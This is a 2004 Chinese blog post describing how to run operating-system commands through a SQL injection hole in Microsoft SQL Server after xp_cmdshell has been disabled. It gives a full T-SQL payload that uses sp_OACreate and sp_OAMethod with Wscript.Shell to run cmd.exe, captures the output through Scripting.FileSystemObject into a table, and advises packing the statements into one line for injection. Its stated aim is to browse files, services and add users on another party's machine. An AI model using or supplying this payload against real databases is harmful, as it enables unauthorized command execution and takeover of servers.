不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令
2004-10-24 10:16
603 查看
我的BLOG里有一篇文章介绍了关于SQL注入的基本原理和一些方法。最让人感兴趣的也许就是前面介绍的利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单,只需使用下面的SQL语句:
EXEC master.dbo.xp_cmdshell 'dir c:/'
但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险,他们可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名,这时侯许多人也许会放弃,因为我们无法运行任何的cmd命令,很难查看对方计算机的文件、目录、开启的服务,也无法添加NT用户。
对此作过一番研究,后来我发现即使xp_cmdshell不可用了,还是有可能在服务器上运行CMD并得到回显结果的,这里要用到SQL服务器另外的几个系统存储过程:sp_OACreate,sp_OAGetProperty和sp_OAMethod。前提是服务器上的Wscript.shell和Scripting.FileSystemObject可用。
sp_OACreate
在 Microsoft® SQL Server™ 实例上创建 OLE 对象实例。
语法
sp_OACreate progid, | clsid,
objecttoken OUTPUT
[ , context ]
sp_OAGetProperty
获取 OLE 对象的属性值。
语法
sp_OAGetProperty objecttoken,
propertyname
[, propertyvalue OUTPUT]
[, index...]
sp_OAMethod
调用 OLE 对象的方法。
语法
sp_OAMethod objecttoken,
methodname
[, returnvalue OUTPUT]
[ , [ @parametername = ] parameter [ OUTPUT ]
[...n]]
思路:
先在SQL Server 上建立一个Wscript.Shell,调用其run Method,将cmd.exe执行的结果输出到一个文件中,然后再建立一个Scripting.FileSystemObject,通过它建立一个TextStream对象,读出临时文件中的字符,一行一行的添加到一个临时表中。以下是相应的SQL语句
CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:/>c:/temp.txt','0','true'
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt'
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END
DROP TABLE MYTMP
注意:
如果你在进行注入测试时使用这种方法就不能有这样多的换行,必须把它们合为一行,每个语句中间用空格符隔开。
相关文章推荐
- 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令
- 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令
- 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令
- 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令
- 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令
- 不需xp_cmdshell支持在有注入漏洞的sql服务器上运行cmd命令_数据库安全
- 无xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令
- 在有注入漏洞的SQL服务器上运行CMD命令
- SQL语句获取SQL服务器名称【SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问】
- 【分享】SQL中的注入漏洞
- SQL SERVER sp_configure 配置并通过 xp_cmdshell 调用控制台程序
- T-SQL实现xp_cmdshell 开启与关闭
- xp_cmdshell---MSSQL系统漏洞
- 完整的利用xp_cmdshell在T-SQL中执行类似创建目录的功能
- ASP防SQL 注入漏洞检查函数
- sql xp_cmdshell
- 调用MSSQLSERVER的系统过程xp_cmdshell发生错误:xpsql.cpp: 错误 来自 GetProxyAccount
- 写sql语句exec master..xp_cmdshell 在一个sql文件中去执行多个sql文件
- 如何防止ASP.NET应用程序中的SQL注入安全漏洞
- SQL漏洞注入实例